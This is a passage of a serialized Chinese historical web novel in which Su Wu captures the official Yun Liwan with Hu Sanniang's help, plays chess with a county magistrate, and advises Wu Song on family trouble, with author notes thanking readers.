就看苏武,躬身一礼,倒是看不出多少激动来,只道:“多谢相公抬举,自当鞠躬尽瘁,不敢丝毫懈怠。” 程万里当真高兴,捋着胡须笑意不止:“本府知你是个极有本事的人,也知你性子向来沉稳,府内军事交付与你,定不会出什么差错。倒是也怕那军中多是董平心腹,你可定要好生甄别一二。” 说这话,不免也还是程万里心有戚戚,对这些匹夫之辈,实在是安全感不足,是真怕!好在如今,有苏武值得万分信任。 “相公放心,此事不难。”苏武答着话语,却是忽然感觉刚才程万里看出来的窗户缝里,又有人趴在那里看自己。 苏武不免也转头去看,窗户缝隙不大,但只一眼看去,也能看到那是一双女子眼眸,那女子见得苏武看来,立马回避了去。 “好好好,好好好啊……”程万里此时心情当真舒畅,胸口再也没有那颗大石头压着了,左右看来看去,就是个好,心满意足的好。 “相公,事不宜迟,当速速返回阳谷县,先把那董平心腹云理万缉拿在手,如此,董平通贼谋反之事,便是板上钉钉。” 苏武此时脑中依旧冷静非常。 “你去你去,速去,这般贼人,都要一一缉拿。你办事,本府放心非常。”程万里答得也快。 (今日没动,还是保持在总榜十六名,只等网站推荐慢慢发酵。兄弟们,这本小说,我写得非常用心,不敢丝毫敷衍,尽心尽力去写得更加精彩。) 第45章 莫要哄笑了 东平府事暂了,索超留在东平府坐镇,各门军汉暂时都换成索超麾下。 苏武带着武松与周谨,再加五十骑,三百步卒,直往阳谷县去。 一路上倒也不那么急了,董平此去,必然是往南去那水泊梁山,附近州府已然无他容身之地。 而阳谷县在西,那云理万必然还不知道东平府会陡然发生这么大的事。 不过,苏武脚步依旧快,连夜就去。 第二日早间天色刚刚放亮,独龙岗上,那扈三娘已然早起,正在庄子校场里耍弄两柄长刀,远远就有人来报,说是看到有大批军汉往这边来。 她倒也警觉,先让庄客们掩上庄子大门,她自己带着几员快骑往大路去看。 只看那大路上,祝彪已然先到,连带李家庄的管家杜兴也到了,几人都在大路观瞧。 杜兴是扑天雕李应的管家,也是李应的心腹之人,也有几分好武艺在身,江湖有个诨号“鬼脸儿”,故事里,他也当是将来的梁山好汉之一,排名八十九。 就看得东边来军,军容整肃,头前几十骑,更是威武不凡。 祝彪已然在说:“莫不是那董平带兵出城了?” 杜兴点头答着:“这一遭来,怕是又少不得……一些孝敬伺候了。” 扈三娘微微皱眉,也说:“酒菜怕是要先备上了。” 独龙岗三庄,能在这地面上建堡寨,养庄客,兵刃甲胄也藏不少,不外乎有人睁只眼闭只眼。 自也就是每年与东平府兵马都监董平少不了大量的孝敬伺候。 董平其实有几分豪富,这一点是索超比不得的,为何? 因为索超只是北京大名府的管军提辖,并不是大名府的兵马都监,也就是说索超头上还有上司。 如今之事,真按照品级官职来论,苏武是一步登天,只待那知府程万里把苏武的事情办妥,苏武官职之上已然就要超过索超了。 至于索超为何与苏武如此交好,两人缘分相投是其一,战场同死是其二,兴许也有这些考量,那就是苏武如今深得程万里的信任。 程万里的恩相童贯,就是如今枢密院里实权人物。倒也不是说索超没有门路,索超也得梁中书的信任,梁中书的岳父是当朝宰相蔡京。 但真以军汉升迁调用之事来说,县官就不如现管,童贯童太尉才真正是好门路。 也就是说苏武如今的门路,比索超可方便太多。 许多事情,在地方州府里,那是打破脑袋抢破头的事,但真到得东京里,不过就是大人物随口一语,乃至是眼睛小小瞥的那一下…… 这些事,本也不复杂。 独龙岗大路口处,几人已经开始吩咐自家庄客回去禀报了,该开门迎接就要开门迎接,都得各家主人亲自迎接。 该备酒菜要备酒菜,该准备一些大箱子装钱,也要准备,乃至兴许还要准备一些粮草之类。 就看那队人马慢慢近了些,扈三娘疑惑开口:“倒也没见那‘董’字大纛……” 祝彪也疑惑:“那能是谁?谁能带着这么多兵马从东平府来?” 鬼脸儿杜兴年纪稍长,见识也多,便道:“怕不是东平府的人马吧?” “不是东平府的人马,还能是其他州府的客军?”祝彪也问。 杜兴想了想:“近来兵马调动还真就多了起来,头前有那济州何涛带军往郓城剿贼,也有庄客说前两日半夜有大名府的人马从这里过去……这般回的,怕是大名府的人马。” 扈三娘便问:“那……还要不要备那些东西?” 杜兴想了想,说道:“酒菜还是要,总该与人为善才是,孝敬的话……怕是不必。” 只看扈三娘忽然从马背上站了起来,远远抬手去指:“那那……那人,那领头之人不是苏都头吗?” 祝彪也连忙站起远眺:“是他是他。” 却是扈三娘忽然眉眼一展,一人打马往前就去,奔得一会儿,远远就喊:“苏都头?” 苏武倒也意外,一米八的大姑娘,英姿飒爽迎面打马奔来,也笑:“是三娘啊?” “是我呢……”扈三娘还真有几分激动,也是这三庄里,她与苏武最相熟。 “你怎知道我来了?”苏武还问呢。 扈三娘哪里又知道他来了,只说:“就看得人马来,所以到大路来看看,没想到是苏都头。” 扈三娘已然近前勒马,与苏武并排,又道:“苏都头哪里领得这么多人马?” “都是大名府的兄弟。”苏武答着,便也是闲聊。 “这些人马倒是壮盛。”三娘对这种事情好似很喜欢,便也转头认真去观瞧,也有夸赞。 一旁有周谨笑道:“这位娘子,当面可不是苏都头了,已然是东平府兵马都监苏将军。” “啊?”扈三娘一时惊住了,看得左右这些人,似也不是说假。 苏武心中倒是喜悦,却还说呢:“暂代,暂代兵马都监,还不曾有东京枢密院正式的公文。” 周谨又道:“正式的诰身文书,那也不过是十几日的事。” 扈三娘回过神来就问:“你当真成了咱东平府的兵马都监?” 苏武笑笑,不说话。 “那董平呢?”扈三娘立马又问。 武松出语:“他一个通贼谋反之辈,已然被我们打跑了,我家哥哥立了首功,顶了官职。” 扈三娘惊诧的表情里,竟是一种兴奋:“原是这般,那董平当真不好,换得苏都头……苏将军,再好不过,走走走,往庄里吃酒去……” 武松就去看哥哥。 哥哥却笑:“三娘啊,还有差事呢,得急着回阳谷县去,只待差事办完了,再来寻你……” 扈三娘脸上就有失望:“前次是这般,这次也是这般,苏将军你可真难请呢。” 苏武当真是新官上任了,东平府地界,独龙岗三庄,岂能不表示? 苏武也无奈,只能再解释:“也是这些天差事多,差事也急,只待我忙过了,一定来,你寻我去也行,我寻你来也可,定不爽约。” “那……那咱说好。”三娘还真不是那扭扭捏捏的人,就是这几分江湖儿女的秉性。 苏武笑着点头:“自是与你说好的,到时候还真有事来寻你呢。” “什么事?要钱要粮都好说,以往董平可不少要,给那董平,还不如给你呢!”扈三娘与苏武自是熟人姿态。 “不要你的钱粮,即便要你家粮,那也明码标价来买。”苏武笑着。 “啊?那我给你算便宜价,再送你一些也无妨。”扈三娘似也懂得这人情世故的事,又问:“那你寻我们什么事?只管来说。” 少女清脆的语调,叽叽喳喳,苏武是不说还不行了? 苏武还真挺喜欢扈三娘这性格,便道:“你们这里庄客多,雇农佃农也多,良家子也多,民风向来也彪悍,想到你们这里招一些军汉去东平府当差,不是招刺,就是随在某身边走动。” 苏武如今需要培植自己的人手了,东平府里的军汉,信任是个大问题,这是其一。还有一点是苏武多少有些看不上,这些兵油子其实不好用,重新建立那种上下感情也麻烦。 不如直接再招一批白身良家子,又好信任,感情上也简单许多。军中,这种上下感情很重要。 苏武还知道一个道理,良家子才多出好军汉。 至于招刺,就是大宋朝招兵的手段,把兵招来,往脸上刺字,厢军招流民,必是这般手段。乃至犯罪之人充军,更是这般手段,骂当兵的专业词语“贼配军”,就是这么来的。 所以,苏武要强调,不是招刺,不往你脸上刺字。 扈三娘听得苏武的话语,只管来答:“这有何难?庄子里多的是半大少年郎,身强体壮的,谋个差事也好,总比四处浪荡要强,既不招刺,再好不过。” 苏武笑道:“你还是回家去与兄长商议一下,也与其他两家说说……” “新官上任,岂能怠慢?我家的事,我说了算,另外两家,我自去好说。”扈三娘还真是在苏武面前大包大揽。 苏武只笑:“好好好,三娘有本事。” 扈三娘还真有个傲娇的表情,又问:“你刚打走了董平,又带这么多军汉,是不是往阳谷县去拿人?” “你啊……”苏武不好答这种话,毕竟也是机密之事,只是这小娘子猜出来了,也是无奈。 “我随你一起去,正是无所事事呢,我帮你去拿人。”扈三娘如此一语。 “你还是回家去吧……”苏武笑着摆手。 “我随你们一起去!”扈三娘只道是瞧不起她。 “你回去吧……”苏武也是笑出了几分无奈。 “莫要小瞧了人。”扈三娘嘴一撅来头一偏,真正就是个半大少女,却长得一米八多的英姿飒爽。 却见左右,周谨也笑,武松也笑,身后还有骑士军汉,没有一个不是哈哈大笑的…… “行吧行吧……”苏武点着头,回头还与众军汉说:“莫要哄笑了。” “我自不怕你们笑,此番只待让你们见识见识。”扈三娘假怒一语去看众人,却是转头来,又是一本正经,与苏武说道:“也当让你们知道我的厉害……” 苏武连连点头:“着实厉害,当真厉害!” “我是说我的两把日月刀厉害。”扈三娘机灵得紧,能听不懂苏武的怪话语? “那倒是要见识见识……”苏武倒是也来了兴趣。 就看扈三娘打马转身:“我先去与他们说你的正事,也教他们不必备酒菜了,你只管走,一会儿打马来追你就是。” 第46章 扈家小娘皮,造反不成? 看着那英姿飒爽的背影打马飞奔去,周谨已然说道:“苏将军,这小娘不错,适合咱军汉人家。” 武松也道:“哥哥,我看也好。” 苏武倒是有些尴尬:“她不过是江湖儿女秉性而已。” 武松直接说道:“哥哥,我看不是。” “行了行了,赶路赶路。”苏武止住话题。 只待路过独龙岗大路口,苏武也不停马,只管与祝彪杜兴拱手一礼,便算打个招呼,如此而去。 扈三娘自是在三庄来去几番,把苏武的事去说,往后不要钱,不要粮,想要招一些良家子…… 只算是先行知会一二,然后打马就去追苏武,也不与人说她去做什么。 还真是有了扈三娘之后,队伍里气氛轻松又愉快。 只看这少女叽叽喳喳说个不停,一会儿拔刀出来左右舞几下,舞得虎虎生风,说自己武艺不是一般人可比。 一会儿又借柄弓来,说自己也能开强弓,便是路边树上的鸟巢倒了霉。 众多军汉只管叫好。 苏武更是连连夸赞:“女中豪杰,巾帼英雄!” 苏武越是夸赞,扈三娘便是越要来耍,还要表演一下骑马的绝技,来去几番,在马背上左右翻腾,还真就有模有样。 “厉害厉害!”苏武连连点头,这面子,这情绪价值,必须给足。 如此,扈三娘才稍稍安生,却是一脸傲娇,好似在说,这回你知道我的厉害了吧? 却是此时,头前游骑斥候回了两人,上前禀报:“苏将军,阳谷县里没什么异样,四门洞开,百姓来往也如平常,只是城门处多了不少披甲军汉……” 苏武微微皱眉,云理万麾下,都是厢军编制,能有几个真正披甲的军汉? 周谨眉宇一狞:“怕又是要有一番厮杀……” 苏武却摇着头:“不一定,云理万麾下无这般人,这些人只怕是头前董平麾下派来帮他的,必然不会真正为他卖命。” “擒谁?是不是擒那个云理万?”扈三娘直接插了一语。 “又被你聪慧的脑袋猜到了?”苏武好似逗孩子。 “哼!我自帮你擒来那厮!”扈三娘霸气一语。 就看左右一圈军汉,又是笑,倒是克制一番,不是那哈哈大笑…… 扈三娘只当众人不信她,便是看她不起,啥话不说,闷头打马。 苏武也注意到了,却只与斥候说道:“再去探,盯紧了,但有异样就来报。” 苏武对于这般事,严肃又认真,便是拿云理万这种小事,游骑斥候也派出了一大堆。 斥候飞奔再去。 队伍里,气氛少了几分欢快,已然都严肃起来,有人开始检查自己的刀兵甲胄,有人开始安抚座下的马匹…… 已然再是黄昏。 城楼之上,云理万早已是坐立难安,等那苏武,等得已是身心俱疲,脸上皆是憔悴。 远远看得有马队出现,甲胄旌旗。 云理万瞬间一喜,便说:“莫不是董将军来了?” 他身边有那披甲军汉,也在眺望,但他是董平麾下心腹,看得几眼便皱了眉头:“看着好似又不太像……” “这般人马,还能有谁?你真是自家人不识自家人,快快去迎就是。” 云理万心里绷紧了一根弦,此时就要找个稻草去抓,能抓的稻草也就董平了,便是有一种美好的幻想,只愿幻想成真。 那军汉随着云理万下城池去,却是不比云理万那激动模样,而是左右招呼百十军汉在列队。 他倒也不认为是有人要来打他,只是习惯性严谨几分,有个防备。 百十披甲汉身后,还有阳谷县二三百号厢军稀稀拉拉。 只待那队人马慢慢近了,云理万不仅没有发现不对,却更加惊喜:“你看,不是董将军是谁?” 他身旁那披甲汉也是松了一口气,只点头:“还真是董将军来了。” 为何? 因为迎面,立了大纛,上书大字:董。 黄昏时分,瞧人瞧不真切,瞧字倒是清清楚楚。 那边,苏武自也是用了点小伎俩,就在这从东平府带来的大纛上,他如今对待任何事,都是越发的认真,都要谋定几番,阳谷县这一遭,就谋在这个“董”字大纛上。 苏武也知道,身边扈三娘早已跃跃欲试,便也叮嘱一语:“三娘啊,别急,莫要坏了谋划。” 扈三娘点着头:“我可知道轻重呢!” 扈三娘又有傲娇,苏武看来就笑,这傲娇里,还真带着那种可爱,也是扈三娘如今年岁还真不大,兴许十六,兴许十七,少女性子还在,过得两年大概就不会是这样了。 就看远方城门,有一队骑士打马来迎,七八骑。 却听扈三娘说:“我可识得哪个是云理万。” 苏武点着头:“嗯,好,到时候由你去擒。” 扈三娘还是傲娇:“你们也抢不过我。” 队伍气氛好似又欢快了几分,连武松都点头:“我等自是抢不过你的,我就选头前那个披甲汉,那人定是董平心腹,一刀砍了去。” 只看来人更近,却是马步忽然也慢了,应当也是在仔细观瞧。 云理万身边那披甲汉忽然勒马,开口说道:“云参军,好似没看到董将军啊,头前那些人,个个面生。” 云理万仿佛也起了疑心,也在勒马,仔细瞧来瞧去,董将军人呢? 却听对面一声呼喊:“上!” 就看本是慢慢行进的百十骑,陡然蜂拥而出。 还有一个女子一马当先。 云理万手都在抖,却也连忙打马回头:“走走走,快走快走!” 就听身后有那女子呼喊:“云理万,哪里走!” 云理万即便是听到女子喊,也是浑身一惊,转头只与身边那披甲汉说:“快快,你去挡一挡!” 那披甲汉哪里理会他,只打马奔得更快,还有话语:“入城再说,入城再说……” 身后追兵打马飞奔,越奔越快,还是那女子声音:“云理万,还不快快下马让姑奶奶擒了你!” 云理万还回头去看,只看得马背上一个女子,双刀在手,奔得极快,直往自己而来。 他也连忙拔出腰间长刀,倒也不是回头去迎,而是回头挥了挥,恐吓一语:“扈家小娘皮,造反不成?谁给你的胆?” (总榜十六名稳着了,下周历史类分强的推荐。万分感谢兄弟们最近的追读与投票,感谢书友常言不道、长水校尉葛二蛋、桀帅i、梵音轻唱丶的打赏,再谢大家的支持!) 第47章 记你一功 苏武倒是没有去追,看着眼前这一幕,其实心中也想了许多…… 头前已然厮杀就起,云理万等人终究是停马转身再打马,马速着实提得不快。 身后,还是周谨先到,长枪已然挑落一人在地,也在呼喊:“降者不杀。” 武松也已近前追上一个,竟是不用朴刀去砍,而是伸着大手把那人从马背上直接抬起,重重扔在了地上。 立马,真有人回头来看,马腹不夹了,而是举起了双手。 云理万更急:“不准投降!” 那一丈青扈三娘就盯着他去,打马连连跃过几人,双刀就砍。 云理万还真有几分手段在身,手中长刀连连往后格挡,口中还骂:“小娘皮,看来是董将军以往惩治你们这些刁民还不够,来日教你们扈家满门尽丧。” 扈三娘闻言更是奋力,脚踩马镫直接站起,双刀舞得如花一般,上下左右,招式快速非常。 那云理万似也手段并不真多,几番之下,就是险象环生,人直接往马背上一趴,长刀连连抽打座下马匹,已然是一心直往阳谷县里逃。 只待逃得不远,云理万却是忽然感觉脑袋一震,两眼就黑。 自是那扈三娘的刀敲在了他后脑之上,人已应声落马。 可见,扈三娘当真如她自己头前所言,一身武艺还真不是寻常人可比。 就看扈三娘勒马转头,先看一眼地上昏死的云理万,再是一脸得意:“苏将军,我可把这厮擒住了。” 苏将军还在后面慢慢来。 头前,武松周谨还在往阳谷县里冲去,周谨只管大呼:“降者不杀……” 苏武打马慢慢往前,走到扈三娘身边,看了看地上的云理万,又看了看扈三娘,竟是有些莫名其妙的话语:“三娘,你当真不必如此……” 扈三娘听得愣了愣,硬气一语:“自也不教人小瞧了去。” 苏武此时显然理解了一些事情,点点头:“看来扈家而今着实不易啊……” 扈三娘脸上稍稍有些变色,本是叽叽喳喳的人,此时却有了几分沉默。 苏武接着又说:“独龙岗三庄,你家势力比不得另外两家,你那兄长又是个沉闷之人,倒是头前未想,原来你扈家,如今当真靠你来撑了?” 扈三娘此时才开口:“我即便是女子,也不比男儿差。” “唉……我知晓你年岁不大,本事不小,如今府里兵马都监换成了我,日子也就不比从前了,只会越来越好,也没有人能欺辱得你们扈家,放心就是,当真不必如此证明什么,好人家自有好日子。” 苏武是想起了许多事,有些事,不能深入去想。 就比如故事里,宋江三打祝家庄,头两次都失败了,第三次的时候,宋江实在势大,也动了一些分化离间的计策,李应与宋江已然有了勾结。 而扈家呢,也答应了宋江不再出兵去帮祝家,只求个乱世之中苟活保全。 最后呢?李应上了梁山当大佬,而扈家庄即便已经与梁山达成了交易与约定,却还是满门丧尽。 为何梁山就能在扈家庄这么背信弃义? 还能为何? 苏武再看这女子,为何她如此热心?如此抛头露面?如此急着表现? 其实苏武心中已然明了,便也心中多少有些怜惜…… 若是个男儿汉,似扈三娘这般表现的模样,倒也没什么,江湖男儿,本就是这般。 偏偏是个十六七岁的半大少女,不免更多生几分感慨。 扈三娘只听得苏武说这番话,稍稍低了头,慢慢把双刀收进刀鞘里,再抬头,笑了笑:“苏将军与旁人,当真是有不同……” 苏武笑着挥挥手:“走吧,进城里去坐坐。” “那……那就不坐了,苏将军此番入城怕是事多,本就约好了,只待来日……”扈三娘如此一语。 苏武本想留一下,却是转念一想,觉得这姑娘本也是要脸面的人,兴许此时心中有几分尴尬与苦楚。 便是摆摆手:“也好,来日忙完了,定来相会。” 扈三娘看了看苏武,又看了看头前武松周谨等人已然冲进城里去了,再又看了看地面上昏死的云理万。 却听苏武笑道:“记你一功。” 扈三娘转眼又笑了,拱手一礼:“告辞。” 姑娘打马去,并不拖沓回头。 只待苏武不去看了,扈三娘却又转了头来,看了看那马上的苏武,兴许她心中,这位苏将军,此时此刻,当真就与旁人不一样了。 苏武却也在叹气,只念,这乱世活人,真难。 左右先绑了云理万,打马入城去,其实也没有多少厮杀了,只跪得满地都是。 入城先去见知县孟义。 孟义岂能不知城门处闹出了大动静?他却还真没有多少害怕,好整以暇坐在后衙里,似也知道有人会来见。 只待苏武走进来,他便抬手一比:“来,再来一局。” 苏武先是拱手,再是入座,棋局已然备好。 孟义还看了看苏武,笑道:“甲胄在身,还真多了几分英武之气。” 苏武也笑:“正是来谢相公指点抬举之恩。” 孟义却摆手:“都是你自己的造化……” 苏武听得此言,心中其实真有几分敬佩,便道:“相公把这官啊,真是当明白了,世事练达,透彻非常。” 这夸赞就有点技术了,直听得孟义捋胡须哈哈笑:“哈哈……大官有大官的大城府,小官有小官的小门道。” “相公这官,还是多当些年更好……”苏武已然先落子了。 “怎么?本县年老致仕这件事,你还不愿了?”孟义也落子,便是笑问。 “在相公这般人左右,还真就受益匪浅,相公若是致仕,哪里寻得如此良师?”苏武随手只去落子。 “良师谈不上,苏学士有诗,春江水暖鸭先知,本县这些年辗转各地当这芝麻小官,似也有感,世道兴许慢慢在变了……” 孟义,显然真有几分大智慧在身。 苏武对于孟义这般切身感受,真有几分惊讶,再问:“相公是不是有话要说?” “能说吗?”孟义本是看着棋盘,却忽然皱眉抬眼看向苏武。 “无有相公指点成全,焉有苏武今日?”苏武也需要与孟义有个交心的机会。 孟义先点一棋,再说:“当多拢一些兵马,世道若是不怎去变,拢得兵马也无甚坏处,世道若当真要变,拢了兵马,才有安身立命之本。你说若是世道真变了,如老夫这般手无缚鸡之力,又有身家巨万,当如何是好?” 苏武已然就笑:“看来,相公这官啊,还得当个长久呢。” “哈哈……”孟义又是笑起,只摆摆手:“不谈不谈……下棋,该你落子。” 苏武心中也叹,谁说读书没用,眼前这位老知县,还真从书里读出了无数的智慧。 苏武落了一子,知县就说:“臭,臭不可闻。” 苏武定睛去看,也笑:“心思走了神……” “无悔啊……”孟义已然执棋就落,还嘿嘿发笑。 第48章 不得胡言 一局棋罢,孟义又胜,说道:“你啊,当真还是要钻研钻研,棋艺之道不差,却着实生疏,这世道,光靠拢得兵马,并不能真成大事,文武皆通,方才可行。” 这已然说的不是棋,苏武拱手:“再谢相公教诲。” “老夫年岁大,话语多,忍不住好为人师,勿怪。”孟义笑着。 “相公这是哪里话?” 孟义闻言,又说:“此番你必是不同以往了,却是还能如此进退自如,并不是那志得意满模样……苏武啊,老夫越发对你刮目相看,往后啊,你只要愿意多来走动,老夫便也愿意多多胡说几句……” “再好不过!”苏武此时当真不认为自己如何了不得,更不会认为古代人就都是傻子,唯有他苏武聪明。 一个时代的人,有一个时代的智慧。 这种智慧,从来都是积累而来,万万不可自己想当然。 有孟义这般人,若是能真心相助一二,那真是天大的好事。 “去吧,忙你的去,如今,你的事可多。”孟义当真也是那种极会办事做人之辈,进退之间,分寸拿捏到了极致。 苏武自是有礼而去,到得前衙,几番大事,第一件事,抄家,抄云理万的家。 云理万那下不了床的胞弟云理守也要缉拿到案。 第二件事,抄家,抄西门庆的家,西门庆案子极多,大案小案,都要办起来。 云理万更不必说,他自己有没有案子,只等苦主上衙门来告。西门庆案子,也要往云理万身上算,云理万岂能不是个黑恶势力保护伞? 阳谷县里,衙差军汉,来去在奔。 百姓们跟着这里看,跟着那里看,都看个热闹。 也有感慨:“当真是世事无常啊?那云参将,说失势就失势了?那西门大官人,说抄家就抄家了?” “这是好事啊,咱阳谷县,终于是有了几分公义公道。” “那苏都头,好生大的威势,当真不是凡人啊。” 却听一旁负责警戒的军汉一语:“什么苏都头,那是你们东平府的兵马都监。” “什么?兵马都监?是官吗?” “是官,虽然是武官,但也是官!”军汉未答,自有看热闹的来答。 “那是几品官?” “小州七品,咱东平府,从六品吧?” “这么大的官呢?咱苏都头怎么忽然就成了这么大的官?” 又有人问:“嗯,咱知县几品?七品?” “那不能这么比,咱知县是文官,与武官可不同呢……” “反正,那苏都头当真是条好汉,还真还了咱阳谷县一个朗朗乾坤,昔日里,苏都头说这些话语的时候,我还不信呢……” “你不信?我倒是信,但就是觉得胳膊拧不过大腿,只当苏都头此番要遭殃,着实没想到……” “是啊,谁能想到,苏都头还真把云理万与西门庆这些人都拿下了!往后啊,且不说其他,便是上街都少几分担惊受怕。” 众人七嘴八舌,就看西门大官人的家被抄了个干净,却也留得那偌大一个宅院与几个遗孀。 苏武并不到场,这种抢的事情,只让董坚带人去,往后会越来越多,但终究也有人可怜非常。 已经就是这么个时代。 苏武只吩咐寻得那张虎皮来,送到衙门去给知县孟义,天气寒冷,老头最是怕冷,加件虎皮,冬天必然好过许多。 也是这个时代,还没有植物棉花这种东西,虎皮给老头,再好不过。 西门庆,其实并不豪富,拢共还真不过三四千贯家财,还有一个生药店铺。 那云理万可比西门庆富多了,云理万家中,那些借条借据不算,现钱就抄出了九千余贯。 武松此时在往家中回,便是去与挂念他的兄长先去报个平安。 只走到王婆茶馆处,离家只隔得几步,就听得茶馆里有那汉子说道:“看来那孟玉楼如今当真是攀上高枝了,难怪……难怪那时苏都头会为他出头,只给得五十贯钱就把我打发了去……” 王婆就坐一旁嗑瓜子,就问:“看来啊……那杨家产业,如今都归到苏都头腰间去了?” “岂能不是!如今,还有人敢去问吗?还有人敢说二话吗?你看我,五十贯拿了,便也得忍气吞声了不是?” 汉子话语又说,却是一脸无奈,还有几分阴阳怪气,更有几分不平不忿。 王婆却问:“你莫不是又把钱花销完了吧?” “五十贯,能做得什么事来?顶得什么用处?” 王婆笑着:“该你背时倒霉,倒是那苏都头有这运道,这回可算是发大财了。” 武松转头去看,不是那杨家亲戚张四舅还能是谁? 就看武松几步进了茶楼里去,砂锅大的拳头照张四的脸就打:“直娘贼,原道是你一直在背后说我家哥哥,教你今日落了牙齿烂了嘴,看你还敢不敢乱说……” 武松还真没使大劲,便是不能让这泼皮一下昏厥了去,得让他知道为什么挨打。 那张四舅挨了打,转头来看,看得武松巴掌又来,连连说道:“不是我说的,不是我说的……我也是从旁处听来的……” 武松哪里还听得进,只管巴掌噼里啪啦去。 “不是我,不是我……饶命饶命……”张四舅连连讨饶,几番之后,便是话语也说不出了,牙齿还真在落。 左右已然聚得人来看,武松忽然转头去看那王婆,几步就去,伸手一揪,大巴掌扬起:“莫不是你这长舌老妇胡说八道?” 吓得王婆手放在胸前,连连在摆:“老身也是听说啊……老身岂敢胡乱造谣啊……” 管他是不是,本就是要教训一下王婆,机会正好,武松大巴掌就下,打完几下,解了气,再去揪那张四舅。 还骂:“直娘贼,我家哥哥头前从来不识得孟玉楼,近来更是忙得人影都不在阳谷多留,哪里有那空暇去做那些事?你这泼皮,为了讹人钱财,竟敢背后如此造谣生事,败坏我家哥哥名声,我家哥哥在这阳谷县里,对不住谁人了?” 便又是一通打,嘴巴自然当真打烂。 左右围观之人早已水泄不通。 便也有人开口:“该打,正是这位兄弟说的道理,苏都头于我阳谷县,是有大恩,容不得宵小之辈污言秽语。” “打,这位兄弟,只管把这泼皮张四往死里打……” 武松自是巴掌再打。 却看隔壁,武大听得动静出来了,立马来拦:“二郎啊,打便打了,可不能闹出人命来了……” 一看武大,武松当真停了手,只去左右看:“我看谁人还敢乱传污秽谣言。” 只看武松虎目左右瞪去,瞪到王婆之时,王婆吓得浑身一震,连忙说道:“是极是极,即便有些什么事来,也不该污言秽语来说,那苏都头未娶,那孟玉楼守寡,若是成真了,兴许还是好事一桩,不成真,那也是孟玉楼没这福分……” 这是捧着苏武的意思,左右听来,众人还真是在点头,也还真是这个道理。 但武松还是不快:“有就有,没有就是没有,不得胡言。” “那是那是……”王婆挨了一顿打,只管连连点头。 武大便拉着兄弟快回家,还叮嘱着:“可莫要给都头惹了祸事……” “兄长放心,惹不出祸来,这事,当还哥哥一个清白。”武松也在进屋。 却是门里有那潘金莲,刚才她在门缝里,正见得二叔大发威势,围观之人无数,无一不是一脸敬重敬佩,此时更看二叔,怎么看怎么顺眼。 潘金莲眉宇间,此时更是春风在抚,迎着二叔就进屋:“二叔莫要怒,只管消消气,奴家这就去备酒菜,回家就好好吃几杯,好去得一身疲乏……” (还有惊喜,不仅历史类分强,还上了首页的新书强推,我真是心情激动不已,兄弟们如此支持,无以言表,再谢,再拜!) 第49章 哥哥教我 阳谷县衙,牢狱中。 有一个早已被人血包了浆的十字木架子,云理万就绑缚其上。 苏武站在他面前问道:“梁山之贼,是你联络的还是董平联络的?” “呸!苏武,你一个县衙小小都头,也敢构陷本将与董将军,董将军何等英雄?山东河北地面,谁人不知?你也不看看你自己有几个脑袋……” 云理万睚眦欲裂,青筋暴跳。 说起来,这番模样,还真对得起云理万这么个军汉的身份。 有点硬! 苏武倒是躲过了那一“呸”,人往后站,稍稍挥手。 董坚已然上前:“云理万,董平早已让我家都头打跑了,现在我家都头已然是东平府兵马都监。” 云理万把脸一偏:“休来哄骗……就凭你们?哼哼,只待明日,董平将军大军一到,教尔等……” 话没说完,董坚手中的鞭子先抽,直接抽在那嘴巴上,这是前菜。 董坚身后那案板上,诸般刑具样样俱全,只待一样一样来施展。 苏武摇摇头,出得牢外,只管抬手招来李成:“去把那云理守绑到隔壁牢里,绑去之时让那云理万顺便看到一眼,进了牢只管打……” 李成点着头去办。 天色已然不早,但审讯之事,必然要连夜做好,正儿八经程序上的事,还是要走清楚的,到得两位知府相公那里,也是功劳。 苏武坐在前衙堂前,就看武松闷着头走过来了。 苏武便问:“二郎何以垂头丧气?” 武松抬头看了看苏武,嘴角微微一动,好似要说什么,却是欲言又止。 苏武便是一脸笑,笑得也神秘。 “哥哥笑何事?”武松便来问。 “哈哈……”苏武也就笑出声来了。 “哥哥这是笑何事呢?”武松更来问。 “笑你遇到难事了。”苏武说着。 “哥哥……嗯……哥哥如何知晓?”武松一脸惊奇,却是这事啊,着实说不出口,家丑何以与人去说呢? 苏武先转了个话题:“说你午间在那王婆茶楼里打人了?” “哥哥知晓了?着实是不打不行,倒也没下重手,哥哥以为如何?那污秽谣言,就是张四所传,王婆必然也有多传,正巧让我碰上了,岂能不是一通老打?” 武松说起这事来,还有一脸凶恶。 “嗯,该打!”苏武点着头。 武松也笑:“兄长还怕我给哥哥惹麻烦呢,便是哥哥也在,自也要动手。” “不过这事啊,还真不全在那张四与王婆,而是在西门庆,不过现在也无妨了,你把这谣言止住了,便也好。” “嘿嘿……只管教县里人不敢再说了。”武松就知道,哥哥必然不会怪罪。 “好了,还是说一说你那难事吧……”苏武说着。 武松自然还是说不出口,一脸便秘模样。 苏武再说:“这般,你呢,搬到我那新宅子去住就是,那旧宅子,让李成去住一住。” 武松哪里还有推脱,立马点头:“好!多谢哥哥!” 却又反应过来了,一脸疑惑看着苏武,问一语:“哥哥是不是猜到什么了?” “当也猜得八九不离十。”说着,苏武左右看了看没人,再说:“你那嫂嫂啊,生得那般模样,嫁给你家兄长,自是心中不甘的,乃至也有怨气……而你,你看你生得周正,又身强体壮,如何教人能不动心?有些事啊,虽然是有失体面,只要不过分,好好解决就是……” “哥哥竟是当真知道?”武松一脸惊奇,又说:“哥哥你看人看事,当真如此透彻?竟是一面之缘,就有这般先见之明!” 苏武避开了这个问题,只说:“唉……麻烦事。” “哥哥教我。”武松心急火燎,一把抓住了苏武的手臂。 “先搬出来是对的,但也不必往你兄长那里当面挑破,与人留一份体面,免得她羞愧难当,不免心中还生出恨意来。” 这事,先要稳住。 武松急忙再问:“然后呢?” 苏武也在想,他也是想着努力试一试,只希望是个皆大欢喜。 便道:“你还是要与她好生说一番,不必是那种凶恶模样,当是语重心长,晓之以理,动之以情,好生说,当也要先表明你坚决的态度。” “嗯,这个好说,适才还生了气性,只管回头与嫂嫂赔个不是。”武松如今,好似真听得进苏武之语。 “这样做就对了,她心中念你,只管让她念,她再如何念,你只需管住自己就行了。你此番一说,她自也会收敛的……” “明白明白……”武松对这种事,还真是有点六神无主,按照他的性子,只怕心中早已不把潘金莲当好人看了,说出的话,做出的事,自是直男的方式,伤人心不说,还让人屈辱不堪。 苏武自是有不一样的见识,女人也是人,善恶往往在一线之间,先试着拯救。 便接着说:“再往后啊,你得往家里拿钱,家里呢,弄上两个使唤的丫头,屋外呢,弄一辆车架,平常绫罗绸缎首饰之类,也不要少了。如此,先让她在阳谷县里,有几分脸面能拿得出去……便也能少几分幽怨在心,钱的事,支取与你就是。” 